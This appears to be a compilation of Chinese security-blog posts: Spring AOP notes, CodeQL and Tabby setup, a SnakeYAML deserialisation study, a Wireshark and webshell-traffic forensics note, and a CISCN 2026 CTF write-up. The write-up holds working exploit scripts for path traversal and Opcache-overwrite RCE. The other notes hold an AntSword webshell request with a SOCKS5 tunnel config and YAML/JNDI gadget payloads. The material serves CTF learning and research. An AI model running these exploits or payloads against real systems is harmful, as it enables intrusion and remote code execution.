天下同春

C3P0利用

void2eye — Wed, 13 Aug 2025 00:00:00 GMT

C3P0反序列化、jndi以及不出网利用链

Spring AOP链

void2eye — Fri, 03 Oct 2025 00:00:00 GMT

aop理论与spring对aop的实践

aop面向切面编程的理念

AOP作为OOP的补充和完善，其最大的不同在于模块化的维度发生了改变。OOP将系统按照业务实体封装成一个个的类（Class），而AOP则将那些可复用的通用功能（如日志、事务）封装成一个个的切面（Aspect）。

而我们可以把这些通用功能称为横切关注点 (Cross-Cutting Concerns)

可以这么理解：登录->登出是两个独有模块，由oop来完成。

而我需要的记录日志，鉴权，性能监控这些小功能便是横切关注点，想要实现便只能粗暴的将这些小逻辑穿插到每个独立模块里面去，这将导致代码分散且难以维护。

而aop做的，就是将这些“横切关注点”从业务逻辑中抽离出来，封装成独立的、可重用的模块，从而使业务代码更纯粹，系统更易于维护。

oop是纵向分解，关注事物的“是什么”和“能做什么”

aop是横向分解，关注跨越多个对象的通用行为

:::important 以下都是术语和概念，中在阐述aop的思想和流程 :::

aop的核心：

切面(Aspect): aop的顶层封装，所有逻辑都在这里面实现，相当于一个独立模块，通常是一个独立的类。
连接点(Join Point): 我更愿意把他称之为“时机”，相当于把一个程序的完整生命周期变成一个时间线，可以规定在某一点插入切面的逻辑。比如：userService.addUser()方法被调用的那一刻就是一个连接点。
切点(Pointcut): 如果说“连接点”是程序中所有可被织入的“时机点”，那“切点”就是我们用来筛选这些“时机点”的规则或表达式。它精确地定义了通知（Advice）应该应用在哪些连接点上。
通知(Advice): 定义切面的具体行为，是横切逻辑的具体实现。
- 前置通知 (Before)：在连接点（目标方法）执行之前执行。
- 后置通知 (After Returning)：在连接点成功执行并返回结果之后执行。
- 异常通知 (After Throwing)：在连接点抛出异常之后执行。
- 最终通知 (After)：无论连接点是正常返回还是抛出异常，都最后执行。
- 环绕通知 (Around)：功能最强大的通知，它包围了整个连接点。你可以在其中手动控制目标方法的执行（proceed()），并且可以在方法执行前后都加入自定义逻辑。
织入(Weaving): 字面意思，把切面放到目标对象上，创建出最终的Proxy对象的过程。
- 编译时织入：在编译源代码时，编译器直接将切面代码编译进业务类的.class文件中。
- 加载时织入：在类加载器将.class文件加载到JVM时进行织入。
- 运行时织入：在应用程序运行时，为目标对象动态地在内存中创建一个代理对象。Spring AOP采用的就是这种方式。

spring的实践

先讲讲CGLIB和 JDK动态代理的区别

JDK 动态代理

只代理 接口方法；目标必须有接口。
生成速度快、内存轻；对 final/私有方法无能为力（不在接口里）。

CGLIB

code generation library，用来生成不含有代理对象final/private/static方法或字段的子类。

代理 具体类，能拦住除 final/private/static 以外的大部分实例方法。
需要可见的无参构造或能被构造器路径走通（CGLIB 会调用构造器）。
final 类/方法拦不住；private 不是虚方法，也拦不住。

自调用：两者都拦不住（因为没经过代理）。要么重构调用路径让外部通过代理调用，要么上 AspectJ LTW（Instrumentation）。

现代Spring Boot (2.0及以后)：默认统一使用CGLIB

这里不介绍在正常项目里面利用注解的用法，而是为之后的springAOP链子做准备

因为我们这里aop更多的是做一个触发器而不是一整套切面注入的流程，故我们要用到一些SpringAOP的实现类：

codeql学习

void2eye — Thu, 18 Sep 2025 00:00:00 GMT

code安装

就需要三个东西

codeqlcli
codeql的ql规则库github/codeql: CodeQL: the libraries and queries that power security researchers around the world, as well as code scanning in GitHub Advanced Security，放在、我是codeQL_Rule下
vscode插件

vscoe插件设置cli的codeql.exe位置,然后你自己的ql就在\codeql_Rule\java\ql\src\mytest.ql下

codeql database create fastj --language=java --source-root=./sources --build-mode=none

语法

基础语法

骨架根sql类似

from where select

重点在：

流量分析与取证

void2eye — Fri, 22 Aug 2025 00:00:00 GMT

TCP相关

SYN：（Synchronize） 是TCP头部中的一个控制位（flag），用于：

连接建立：发起连接请求
序列号同步：同步双方的初始序列号
握手过程：TCP三次握手的关键标志

三次握手：

客户端                    服务器
   |                        |
   |  1. SYN seq=x          |
   |----------------------->|  LISTEN状态
   |                        |  收到SYN，进入SYN_RECV状态
   |  2. SYN-ACK seq=y,ack=x+1
   |<-----------------------|
   |                        |
   |  3. ACK ack=y+1        |
   |----------------------->|  进入ESTABLISHED状态
   |                        |
   |    连接建立完成         |

四次挥手：

客户端                    服务器
   |                        |
   |  1. FIN seq=x          |
   |----------------------->| 进入FIN_WAIT_1状态
   |                        |
   |  2. ACK ack=x+1        |
   |<-----------------------| 进入CLOSE_WAIT状态
   |                        | 进入FIN_WAIT_2状态
   |  3. FIN seq=y          |
   |<-----------------------| 进入LAST_ACK状态
   |                        |
   |  4. ACK ack=y+1        |
   |----------------------->| 进入TIME_WAIT状态
   |                        | 服务器进入CLOSED状态
   |    等待2MSL后关闭       |

控制标志位：

SYN：同步，建立连接
ACK：确认，确认收到数据
FIN：结束，终止连接

wireshark

可以直接右键关键字来filter，同时关注：统计->协议分级等分析选项。

然后就是filter的一些方便的语法

ip.src == 192.168.1.1           # 点分十进制
ip.dst eq www.google.com        # 主机名
ip.addr == 192.168.0.0/16       # CIDR网段表示

eth.dst eq ff:ff:ff:ff:ff:ff     # 冒号分隔
eth.src == aa-aa-aa-aa-aa-aa     # 连字符分隔
eth.addr == 00.11.22.33.44.55   # 点分隔

http.request.method == "GET"                    # 普通字符串
http.user_agent contains "Mozilla"              # 包含检查
dns.qry.name matches ".*\\.com$"               # 正则表达式
smb.path contains r"\\SERVER\SHARE"            # 原始字符串（r前缀）

http.request.uri contains "admin"              # URL包含admin
tcp.payload contains "password"                # TCP负载包含password
frame contains "wireshark"                     # 整个帧包含wireshark

tcp.port in {80, 443, 8080}                    # 端口在指定集合中
http.request.method in {"GET", "POST"}         # HTTP方法在集合中
tcp.port in {443, 4430..4434}                  # 包含范围的集合
ip.addr in {10.0.0.1..10.0.0.10}              # IP地址范围

webshell流量分析

蚁剑

特征就是@ini_set起手

POST /1.php HTTP/1.1
Host: 192.168.2.197:8081
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/5.0 (Windows NT 6.4; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2225.0 Safari/537.36
Content-Type: application/x-www-form-urlencoded
Content-Length: 1072
Connection: close

@ini_set("display_errors", "0");@set_time_limit(0);function asenc($out){return $out;};function asoutput(){$output=ob_get_contents();ob_end_clean();echo "28"."f72";echo @asenc($output);echo "f486"."11f4";}ob_start();try{$f=base64_decode(substr($_POST["j68071301598f"],2));$c=$_POST["xa5d606e67883a"];$c=str_replace("\r","",$c);$c=str_replace("\n","",$c);$buf="";for($i=0;$i<strlen($c);$i+=2)$buf.=urldecode("%".substr($c,$i,2));echo(@fwrite(fopen($f,"a"),$buf)?"1":"0");;}catch(Exception $e){echo "ERROR://".$e->getMessage();};asoutput();die();&j68071301598f=FBL3Zhci93d3cvaHRtbC9mcnBjLmluaQ==&xa5d606e67883a=5B636F6D6D6F6E5D0A7365727665725F61646472203D203139322E3136382E3233392E3132330A7365727665725F706F7274203D20373737380A746F6B656E3D586133424A66326C35656E6D4E365A3741386D760A0A5B746573745F736F636B355D0A74797065203D207463700A72656D6F74655F706F7274203D383131310A706C7567696E203D20736F636B73350A706C7567696E5F75736572203D2030484446743136634C514A0A706C7567696E5F706173737764203D204A544E32373647700A7573655F656E6372797074696F6E203D20747275650A7573655F636F6D7072657373696F6E203D20747275650A

前面的初始化不用管，重点关注后面几个参数

注意这里FBL3Zhci93d3cvaHRtbC9mcnBjLmluaQ==的处理，是substr掉头两位的

L3Zhci93d3cvaHRtbC9mcnBjLmluaQ== -> /var/www/html/frpc.ini

而后面的十六进制就是文件内容

5B636F6D6D6F6E5D0A7365727665725F61646472203D203139322E3136382E3233392E3132330A7365727665725F706F7274203D20373737380A746F6B656E3D586133424A66326C35656E6D4E365A3741386D760A0A5B746573745F736F636B355D0A74797065203D207463700A72656D6F74655F706F7274203D383131310A706C7567696E203D20736F636B73350A706C7567696E5F75736572203D2030484446743136634C514A0A706C7567696E5F706173737764203D204A544E32373647700A7573655F656E6372797074696F6E203D20747275650A7573655F636F6D7072657373696F6E203D20747275650A

[common]
server_addr = 192.168.239.123
server_port = 7778
token=Xa3BJf2l5enmN6Z7A8mv

[test_sock5]
type = tcp
remote_port =8111
plugin = socks5
plugin_user = 0HDFt16cLQJ
plugin_passwd = JTN276Gp
use_encryption = true
use_compression = true

哥斯拉

2026 ciscn&ccb 浙江赛区半决赛wp

void2eye — Mon, 23 Mar 2026 00:00:00 GMT

AWDP

MediaDrive

attack

cookie完全可控，可以反序列化改user属性

而preview.php可以任意文件读取

而编码解码操作是在waf后的，那么可以利用反序列化来控制User的encoding和basePath参数

这里提到：https://gist.github.com/Ridter/548af465ebc80806254b5a9dddab4a70 iconv在进行ISO-2022编码时，会在字符串前面强制插入 \x1b$)C

就是 ISO-2022 规范要求输出必须以 \x1b$)C 开头来声明字符集。

ISO-2022 转义序列结构

ISO-2022 标准定义了一套通过转义序列切换字符集的机制。转义序列的通用格式是：

ESC  中间字节(0个或多个)  终结字节(1个)

对于 \x1b$)C，拆开就是：

字节	含义
`\x1b`	ESC，转义序列的起始标志
`$`	表示目标是多字节字符集（94x94 集合）。如果没有 `$`，就是单字节字符集
`)`	表示指定到 G1 字符集槽位。`(` = G0，`)` = G1，`*` = G2，`+` = G3
`C`	终结字节，标识具体是哪个字符集。`C` = KS X 1001 (韩文)

所以 \x1b$)C 完整意思是："将KS X 1001字符集指定到 G1 槽位"。

所以如果后面没有字符来激活 G1，这个序列就只是一个纯粹的状态指令，不产生任何输出字符。

所以：

<?php

$rawPath="/../../../f\x1b$)Clag";

$convertedPath = iconv("UTF-8","ISO-2022-CN-EXT", $rawPath);
if ($convertedPath === false || $convertedPath === "") {
    http_response_code(500);
    echo "Conversion failed";
    exit;
}
echo $convertedPath."\n";

//  输出： /../../../flag

但是这里有一坑，就是选择C这样还是会有残留的：

因为\x1b$)C 是 ISO-2022-KR 的序列，ISO-2022-CN-EXT 的 iconv 不认识它所以原样保留了。

而终结字节: A = GB 2312符合ISO-2022-CN-EXT

换成 A 就会被正确消耗。

exp


<?php
class User {
    public $name = "guest";
    public $encoding = "ISO-2022-CN-EXT";
    public $basePath = "/";
}

echo serialize(new User());
// O:4:"User":3:{s:4:"name";s:5:"guest";s:8:"encoding";s:15:"ISO-2022-CN-EXT";s:8:"basePath";s:1:"/";}

import requests
import urllib.parse

url = "http://172.18.32.222:1141/"

cookie = 'O:4:"User":3:{s:4:"name";s:5:"admin";s:8:"encoding";s:15:"ISO-2022-CN-EXT";s:8:"basePath";s:1:"/";}'

f_param = "fla" + urllib.parse.quote(b"\x1b$)A") + "g"

r = requests.get(
    f"{url}preview.php?f={f_param}",
    headers={"Cookie": f"user={urllib.parse.quote(cookie)}"}
)
print(r.text)

fix

ban掉反序列化

直接在读之前通防就好了

easy_time

attack

给了两个解压函数，用了危险的那个

直接从info join了，可以路径穿越。

结合题目名字和他给的date.php可以拿到index.php的创建时间戳，可以判断出是打Opcache覆盖index.php + 加时间戳绕过

读他的php.ini，果然如此

详见php Opcache插件进行RCE - Zer0peach can't think

因为离线起不了docker，但是他给了phpinfo，就可以算出来system_id

<?php
var_dump(md5("8.2.6API420220829,NTSBIN_4888(size_t)8\002"));

// 8.2.6
// API420220829,NTS

// "string(32) "45b8be9467d6ed29438f06cfe9cee9f6""

时间戳就可以通过/about页面的ssrf来获取

exp

import zipfile
import requests
import struct
import re
from html import unescape

base = "http://localhost:5000"
system_id = "45b8be9467d6ed29438f06cfe9cee9f6"
timestamp = 1769426974
zipname = f"../../../tmp/{system_id}/var/www/html/index.php.bin"

s = requests.Session()


def login():
    r = s.post(f"{base}/login",
               data={"username": "admin", "password": "secret"})
    print("login:", r.status_code)


def genBin():
    with open("index.php.bin", "rb") as f:
        data = bytearray(f.read())
    data[0x08:0x28] = system_id.encode('ascii')
    struct.pack_into("<I", data, 0x40, timestamp)
    return data


def genZip():
    with zipfile.ZipFile("payload.zip", "w") as zf:
        zf.writestr(zipfile.ZipInfo(zipname), genBin())
    print("zip generated")


def upload():
    with open("payload.zip", "rb") as f:
        r = s.post(f"{base}/plugin/upload", files={
            "plugin": ("payload.zip", f, "application/zip")
        })
    print("upload:", r.status_code)


def trigger(cmd="system(%22whoami%22);"):
    r = s.post(f"{base}/about", data={
        "about": "x",
        "avatar_url": f"http://127.0.0.1:80/index.php?v2e={cmd}"
    })
    match = re.search(r'len=b(.*?)</code>', r.text, re.DOTALL)
    if match:
        raw = unescape(match.group(1))
        print(raw)
    else:
        print(r.text[:500])


if __name__ == "__main__":
    login()
    genZip()
    upload()
    trigger()

fix

换成好的那个解压函数，但是exp利用成功，，，

后面修了几次都没修好，时间太少了

wso2-lab

本地部署了一下，是wso2 4.6,然后在

/home/wso2carbon/wso2am-4.6.0/repository/conf/user-mgt.xml

里面有账号密码，可以登录api后台界面，就可以打h2 jdbc

但是payload没打通，说请求长度太长，没时间审了，唉。

ISW

ISW3

直接fscan扫到shiro，工具一把锁冰蝎上线拿到flag1

发现有pkexec，打CVE-2021-4034提权拿到flag2

据说还可以rpc-client连上去得到flag，当时没想到。

ISW1&2

第一台机子有路径穿越任意文件读

直接爆破proc/${}/cmdline 0-999找到pico-restar.py 进而找到pico-server二进制文件

两题都是pwn，被队里大手子带飞。

总结

第一次打进决赛，去年awdp爆零，队友还是太强了。

总体感觉就是时间不够用

Showing Off Blog Features

void2eye — Sun, 20 Jul 2025 00:00:00 GMT

Since the post does not have a description in the frontmatter, the first paragraph is used.

Theming

Use your favorite editor theme for your blog!

Theming for the website comes from builtin Shiki themes found in Expressive Code. You can view them here. A website can have one or more themes, defined in src/site.config.ts. There are three theming modes to choose from:

single: Choose a single theme for the website. Simple.
light-dark-auto: Choose two themes for the website to use for light and dark mode. The header will include a button for toggling between light/dark/auto. For example, you could choose github-dark and github-light with a default of "auto" and the user's experience will match their operating system theme straight away.
select: Choose two or more themes for the website and include a button in the header to change between any of these themes. You could include as many Shiki themes from Expressive Code as you like. Allow users to find their favorite theme!

When the user changes the theme, their preference is stored in localStorage to persist across page navigation.

Code Blocks

Let's look at some code block styles:

def hello_world():
    print("Hello, world!")

hello_world()

def hello_world():
    print("Hello, world!")

hello_world()

python hello.py

Also some inline code: 1 + 2 = 3. Or maybe even (= (+ 1 2) 3).

See the Expressive Code Docs for more information on available features like wrapping text, line highlighting, diffs, etc.

Basic Markdown Elements

List item 1
List item 2

Bold text

Italic text

~~Strikethrough text~~

Link

In life, as in art, some endings are bittersweet. Especially when it comes to love. Sometimes fate throws two lovers together only to rip them apart. Sometimes the hero finally makes the right choice but the timing is all wrong. And, as they say, timing is everything.

- Gossip Girl

Name	Age	City
Alice	30	New York
Bob	25	Los Angeles
Charlie	35	Chicago

Images

Images can include a title string after the URL to render as a <figure> with a <figcaption>.

![Pixel art of a tree](./PixelatedGreenTreeSide.png 'Pixel art renders poorly without proper CSS')

I've also added a special tag for pixel art that adds the correct CSS to render properly. Just add #pixelated to the very end of the alt string.

![Pixel art of a tree #pixelated](./PixelatedGreenTreeSide.png 'But adding #pixelated to the end of the alt string fixes this')

Admonitions

:::note
testing123
:::

:::note testing123 :::

:::tip testing123 :::

:::important testing123 :::

:::caution testing123 :::

:::warning testing123 :::

Emoji :star_struck:

Emojis can be added in markdown by including a literal emoji character or a GitHub shortcode. You can browse an unofficial database here.

Good morning! :sleeping: :coffee: :pancakes:

Good morning! :sleeping: :coffee: :pancakes:

All emojis (both literal and shortcoded) are made more accessible by wrapping them in a span tag like this:
<span role="img" aria-label="coffee">☕️</span>
At the time of writing, emoji v16 is not supported yet. These emojis can be included literally but they do not have shortcodes and will not be wrapped.

LaTeX/KaTeX Math Support

You can also display inline math via remark-math and rehype-katex.

Make those equations pretty! $ \frac{a}{b} \cdot b = a $

Make those equations pretty! $ \frac{a}{b} \cdot b = a $

HTML Elements

<button>A Button</button>

Fieldset with Inputs

<select>
    <option value="1">Option 1</option>
    <option value="2">Option 2</option>
    <option value="3">Option 3</option>
</select><br>
<textarea placeholder="Insert a comment..."></textarea><br>

<label><input type="checkbox"> I understand<br></label> <button type="submi">Submit</button> </fieldset>

Form with Labels

<form> <label> <input type="radio" name="fruit" value="apple"> Apple </label><br>

<label> <input type="radio" name="fruit" value="banana"> Banana </label><br>

<label> <input type="radio" name="fruit" value="orange"> Orange </label><br>

<label> <input type="radio" name="fruit" value="grape"> Grape </label><br>

<label> <input type="checkbox" name="terms" value="agree"> I agree to the terms and conditions </label><br>

Tabby心得

void2eye — Tue, 05 Aug 2025 00:00:00 GMT

Tabby环境配置

工具简介：Tabby 是一款用于分析 Java 项目的静态分析工具，旨在结合图数据库和静态程序分析技术完成常见漏洞的挖掘。安全研究员可以使用 Tabby 快速检索 Java 项目中可能存在的安全风险，也可以使用 Tabby 完成特定类、函数、调用关系等内容的快速定位。

tabyy 2.0 本地环境 JDK17

首先把以下三个文件下好

tabby.jar https://github.com/wh1t3p1g/tabby
tabby-vul-finder https://github.com/wh1t3p1g/tabby-vul-finder
tabby-path-finder https://github.com/wh1t3p1g/tabby-path-finder

建好工作目录（从tabby-core里面复制必要目录）：

$ tree
.
├── cases # 用于放置待分析的项目，可以是单个文件，也可以是目录
│   └── commons-collections-3.2.1.jar
├── config # 用于放置配置文件
│   ├── db.properties  # 配置数据库相关内容
│   └── settings.properties  # 配置待分析项目、污点分析等内容
├── output # 用于放置生成后的csv文件
│   └── dev
├── rules # 规则文件夹
│   ├── basicClasses.json 
│   ├── commonJars.json # 用于排除无需分析的三方jar
│   ├── cyphers.yml # 用于 tabby-vul-finder 自动化检索
│   ├── sinks.json # 用于配置 sink 函数
│   ├── system.json # 用于配置专家规则
│   └── tags.json # 用于配置source点识别
├── temp # v2.0 版本开始将临时文件都生成到同级temp目录下
├── run.bat 
├── tabby-vul-finder.jar # 用于导入和自动化查询的 jar
└── tabby.jar # 核心jar，用于生成图数据

:::tip 我的环境是win11，所以“翻译”了个run.bat :::

@echo off

if "%1"=="build" (
    java -Xmx16g -jar tabby.jar
) else if "%1"=="load" (
    java -jar tabby-vul-finder.jar --load %2
) else if "%1"=="query" (
    java -jar tabby-vul-finder.jar --query %2
) else if "%1"=="pack" (
    tar -czvf output.tar.gz .\output\*.csv
) else (
    echo Usage: %0 [build^|load^|query^|pack] [argument]
    echo   build - Run tabby.jar with 16GB memory
    echo   load  - Load data using second argument
    echo   query - Query data using second argument  
    echo   pack  - Create tar.gz archive of CSV files
)

neo4j配置

下载好neo4j社区版（这里我不推荐下载desktop，插件会有问题）+ apoc插件

apoc-core https://github.com/neo4j/apoc
apoc-extended https://github.com/neo4j-contrib/neo4j-apoc-procedures

连同之前下好的tabby-path-finder一起放到neo4j的plugin目录里。

:::important apoc尽量和neo4j版本号一样 :::

然后在conf目录下：

apoc.conf

apoc.import.file.enabled=true
apoc.import.file.use_neo4j_config=false

neo4j.conf 修改

# A comma separated list of procedures and user defined functions that are allowed
# full access to the database through unsupported/insecure internal APIs.
dbms.security.procedures.unrestricted=my.extensions.example,my.procedures.*,jwt.security.*,apoc.*,tabby.*

# A comma separated list of procedures to be loaded by default.
# Leaving this unconfigured will load all procedures found.
dbms.security.procedures.allowlist=apoc.*,tabby.*

初始化数据库

CREATE CONSTRAINT c1 IF NOT EXISTS FOR (c:Class) REQUIRE c.ID IS UNIQUE;
CREATE CONSTRAINT c2 IF NOT EXISTS FOR (c:Class) REQUIRE c.NAME IS UNIQUE;
CREATE CONSTRAINT c3 IF NOT EXISTS FOR (m:Method) REQUIRE m.ID IS UNIQUE;
CREATE CONSTRAINT c4 IF NOT EXISTS FOR (m:Method) REQUIRE m.SIGNATURE IS UNIQUE;
CREATE INDEX index1 IF NOT EXISTS FOR (m:Method) ON (m.NAME);
CREATE INDEX index2 IF NOT EXISTS FOR (m:Method) ON (m.CLASSNAME);
CREATE INDEX index3 IF NOT EXISTS FOR (m:Method) ON (m.NAME, m.CLASSNAME);
CREATE INDEX index4 IF NOT EXISTS FOR (m:Method) ON (m.NAME, m.NAME0);
CREATE INDEX index5 IF NOT EXISTS FOR (m:Method) ON (m.SIGNATURE);
CREATE INDEX index6 IF NOT EXISTS FOR (m:Method) ON (m.NAME0);
CREATE INDEX index7 IF NOT EXISTS FOR (m:Method) ON (m.NAME0, m.CLASSNAME);
:schema //查看表库
:sysinfo //查看数据库信息

CALL apoc.help('all')
CALL tabby.help('tabby')

这两个命令不报错就是成功

:::note 想要清库最直接的办法就是直接打/data删掉，然后重启重新初始化一遍索引就好了 :::

IDEA插件

直接看文档 https://www.yuque.com/wh1t3p1g/tp0c1t/mxgt8v7yhguwmi0g

配置文件

具体根据不同场景修改请看原文：https://www.yuque.com/wh1t3p1g/tp0c1t/mgihyvp3vgscgt63

一些坑

如果你要自己编译vul-finder和path-finder的化可以用j11 + mvn3.9，实测不会报错。
neo4j企业版才能新建数据库，直接用默认的neo4j database就好了
IDEA插件想要成功跳转要把lib添加到项目库里面
设置onlyJDK分析后下一次想要改版本需要把工作目录下的jre_libs删除
若要使用tabby-vul-finder记得把其仓库里面的rulescopy到自己本地的rules里面，正确语句

.\run.bat query .\rules\cc-cb.yml

总体流程

先build出csv数据，然后load到你的neo4j数据库里面。接下来就开查。

Cypher & tabby-path-finder

Cypher 是 Neo4j 的声明式图查询语言。

:::important

其语言核心特点是结果导向的，即：“查什么”而不是“怎么查”

:::

其查询语句为返回子句

match (movie:Movie) where movie.rating > 7 return movie.title

这也反映了其特征

(nodes)-[:CONNECT_TO]→(otherNodes)。圆括号用于圆形节点，-[:ARROWS]→ 用于关系。

基本概念例子

// 节点用圆括号表示
(n)           // 一个节点，变量名为n
(person)      // 一个节点，变量名为person
(:Person)     // 一个带标签Person的节点，没有变量名
(p:Person)    // 一个带标签Person的节点，变量名为p

// 关系用方括号表示，在两个节点之间
-[r]->        // 有向关系，变量名为r
-[:KNOWS]->   // 有向关系，类型为KNOWS
-[k:KNOWS]->  // 有向关系，类型为KNOWS，变量名为k
-[]-          // 无向关系

// 基本匹配
MATCH (n:Person)                    // 找所有Person标签的节点
MATCH (p:Person {name: "Alice"})    // 找name属性为Alice的Person节点
MATCH (p:Person)-[:KNOWS]->(f)      // 找Person认识的所有人

//where 条件过滤
MATCH (p:Person) 
WHERE p.age > 30                    // 年龄大于30
WHERE p.name =~ "A.*"               // 名字以A开头（正则表达式）
WHERE p.age IN [25, 30, 35]         // 年龄在指定列表中

//with传递结果过
MATCH (p:Person) 
WITH p, p.age * 2 AS doubleAge      // 计算后传递给下一部分
WHERE doubleAge > 60
RETURN p.name
    
//collect聚合收集
MATCH (p:Person)-[:KNOWS]->(f)
WITH p, collect(f) AS friends       // 将所有朋友收集到数组中
RETURN p.name, friends
                
//call调用过程
CALL db.labels() YIELD label        // 调用系统过程
RETURN label

// 调用自定义过程
CALL my.procedure(param1, param2) YIELD result
RETURN result
                  
//正则表达式
WHERE p.name =~ ".*Smith"           // 以Smith结尾
WHERE p.email =~ ".*@gmail\\.com"   // Gmail邮箱
WHERE p.code =~ "org\\.apache\\..*" // 以org.apache.开头

YIELD告诉Neo4j"我要从这个存储过程的返回结果中提取哪些字段"。

来分析一个tabby-path-finder的payload

match (source:Method {NAME:"toString"}) 
where source.CLASSNAME=~"org.apache.commons.collections.*" 

match (sink:Method {NAME:"get", CLASSNAME:"java.util.Map"}) 
where sink.PARAMETER_SIZE=1 

call tabby.algo.findJavaGadget(source, ">"，sink, 5, false) yield path

// 黑名单
//where none(n in nodes(path) where 
 // n.CLASSNAME in [
  //  "java.io.ObjectInputStream",
 //   "java.util.concurrent.ConcurrentHashMap"
 // ])

return path

最常用的函数就是 tabby.algo.findJavaGadget 其他函数参考文章：https://www.yuque.com/wh1t3p1g/tp0c1t/ta9ldsycan538ndf

其签名：

source: 源节点

>:分析方向

sinks: 目标节点数组

5: maxNodeLength - 最大路径长度为5个节点

false: isDepthFirst - 使用广度优先搜索（而非深度优先）

那这个payload其实就是首先起始点为：cc依赖下的toString方法然后再找Map接口的get方法作为sink点，然后过滤一下黑名单（如果有的话

这里我分析的jar是commons-collections-3.2.2.jar

可以看到当长度调成4的时候，一共有5条链子

org.apache.commons.collections.DefaultMapBag#toString ->getCount ->getInteger->getNumber->map.get()
com.sun.xml.internal.ws.client.Stub#toString->getStringId-> this.getRequestContext().get("javax.xml.ws.service.endpoint.address");
sun.security.x509.AlgorithmId#toString->getName-> Map<ObjectIdentifier, String> nameTable.get()
org.apache.commons.collections.bag.AbstractMapBag#toString -> getCount -> map.get
org.apache.commons.collections.keyvalue.TiedMapEntry#toString -> getValue -> map.get

通过分析，链子2没有实现Serializable。其他都可以走。

如果长度设置为3就只有我们熟悉的TiedMap和AbstractMap了

SnakeYAML反序列化总结

void2eye — Sun, 10 Aug 2025 16:00:00 GMT

YAML其实就是一种扩展版的标记语言，有些类似于XML。

其支持多种数据类型，而我们重点关注的，就是他的标签系统（Tag）。

简单理解，就是一个指定数据类型的功能。

:::note yaml基础语法参考https://www.runoob.com/w3cnote/yaml-intro.html ,空格作为缩进，然后:分割键值对。 :::

name: !!str "void2eye"
age: !!age 20

那么其安全问题就很好理解了，其tag我们可以指定为一些危险的类，比如：

evil: !!python/object/apply:os.system ["whoami"]
java: !!java.net.URL ["http://111/111"]

回到我们的主题，SnakeYAML就是一个java解析yaml文件的依赖。其反序列化漏洞也与我们刚才讲的tag密切相关（当然官方并不认为这个一个漏洞，他们主张让用户不序列化非信任的yaml数据，后面也做了修复，强制使用安全的construct，这里就不细述了）

原理

SnakeYAML有两个核心方法：

Yaml.load(): 将YAML字符串反序列化为Java对象
Yaml.dump(): 将Java对象序列化为YAML字符串

直接看例子

package org.example.snakeyaml;

public class expBean {
    private int age;
    private String name;

    public expBean() {
        System.out.println("expBean's construct be called");
    }

    public int getAge() {
        return age;
    }

    public void setAge(int age) {
        System.out.println("setAge be called");
        this.age = age;
    }

    public String getName() {
        return name;
    }

    public void setName(String name) {
        System.out.println("setName be called");
        this.name = name;
    }
}

Yaml yaml = new Yaml();
expBean data = yaml.load("!!org.example.snakeyaml.expBean {age: 18, name: 'SnakeYAML'}");

String yamlString = yaml.dump(data);
System.out.println("Loaded YAML Object: " + data);
System.out.println("YAML String: " + yamlString);

//expBean's construct be called
//setAge be called
//setName be called
//Loaded YAML Object: org.example.snakeyaml.expBean@39a054a5
//YAML String: !!org.example.snakeyaml.expBean {age: 18, name: SnakeYAML}

可以看到Yaml.load调用了expBean的构造方法和setter方法，调试看看在哪里调用的。

跟进到loadFromReader方法，这里的Composer先初始化，之后用于YAML处理的第二阶段：

Parser - 将YAML文本解析为事件流
Composer - 将事件流组合成节点树(Node Tree) <---
Constructor - 将节点树构造成Java对象

我们重点关注getSingleData()

这个方法核心在从YAML流中获取单个文档并构造成指定类型的Java对象，而这里的Node就是通过composer从YAML流里面获取的根节点，其格式就是从!!转换为tag，即SnakeYAML内部的节点树结构

tag:yaml.org,2002:org.example.snakeyaml.expBean  == !!org.example.snakeyaml.expBean

最后调用constructDocument 将节点树转换为Java对象，继续跟进。

继续跟进

根据节点类型和标签获取对应的构造器，然后检查缓存（防止在构造过程中被其他地方创建），再调用构造器的construct方法创建对象，继续跟进construct()

这里刚好印证了yaml的功能，即对键值对，列表，对象的解析。前两个if判断是不是Map或者Collection的子类，最后的else则是对javaBean的处理。注意这里构造javaBean类的时候分为两步，newInstance之后调用constructJavaBean2ndStep填充对象。

先看newInstance，这里已经拿到expBean了，可以看到确实调用了构造方法。

继续跟进：constructJavaBean2ndStep

这里我们的expBean没有注册TypeDescription，也就是正常的Bean，继续往下走到getProperty

继续走到getPropertiesMap()方法

注意看，这个地方会对public属性做不同的处理

对比两种get方法：

很明显看出，正常javaBean属性是通过setter.invoke()来设置的，而public方法则是直接调用反射来取值的（这样做估计是为了节省开销），但是这也说明了一点

:::important snakeYAML无法触发被public修饰属性的setter方法。 :::

让我们步出，最后走到constructJavaBean2ndStep的property.set(object, value);方法

省略后面的递归构建和一些非核心的操作，

最后美美返回load好的对象。

了解原理之后，接下来就是一些SnakeYAML Gadget

一些Gadget以及利用姿势

sink点就是setter和构造方法

JdbcRowSetImpl

又是我们的老朋友，出网打JNDI。

setAutoCommit -> connect -> lookup(this.getDataSourceName());

符合snakeYAML触发setter条件，伟大，无需多言。

!!com.sun.rowset.JdbcRowSetImpl {dataSourceName: ldap://ip/evil, autoCommit: true}

ScriptEngineManager

先讲讲SPI机制，也就是Service Provider Interface，是Java提供的一种服务发现机制，允许框架发现和加载接口的实现类，而不需要在代码中硬编码具体的实现。

其核心就在于 ServiceLoader.load()方法

public final class ServiceLoader<S> implements Iterable<S> {
    
    public static <S> ServiceLoader<S> load(Class<S> service) {
        // 获取当前线程的类加载器
        ClassLoader cl = Thread.currentThread().getContextClassLoader();
        return ServiceLoader.load(service, cl);
    }
    
    public static <S> ServiceLoader<S> load(Class<S> service, ClassLoader loader) {
        return new ServiceLoader<>(service, loader);
    }
    
    private ServiceLoader(Class<S> svc, ClassLoader cl) {
        service = Objects.requireNonNull(svc, "Service interface cannot be null");
        loader = (cl == null) ? ClassLoader.getSystemClassLoader() : cl;
        reload();
    }
    
    public void reload() {
        providers.clear();
        lookupIterator = new LazyIterator(service, loader);
    }
    
    // 关键：查找配置文件
    private class LazyIterator implements Iterator<S> {
        Class<S> service;
        ClassLoader loader;
        Enumeration<URL> configs = null;
        String nextName = null;
        
        private boolean hasNextService() {
            if (configs == null) {
                try {
                    // 关键路径：META-INF/services/ + 接口全名
                    String fullName = PREFIX + service.getName();
                    configs = loader.getResources(fullName);
                } catch (IOException x) {
                    fail(service, "Error locating configuration files", x);
                }
            }
            // 解析配置文件，获取实现类名称
        }
        
        private S nextService() {
            String cn = nextName;
            nextName = null;
            Class<?> c = null;
            try {
                // 关键：加载并实例化实现类
                c = Class.forName(cn, false, loader);
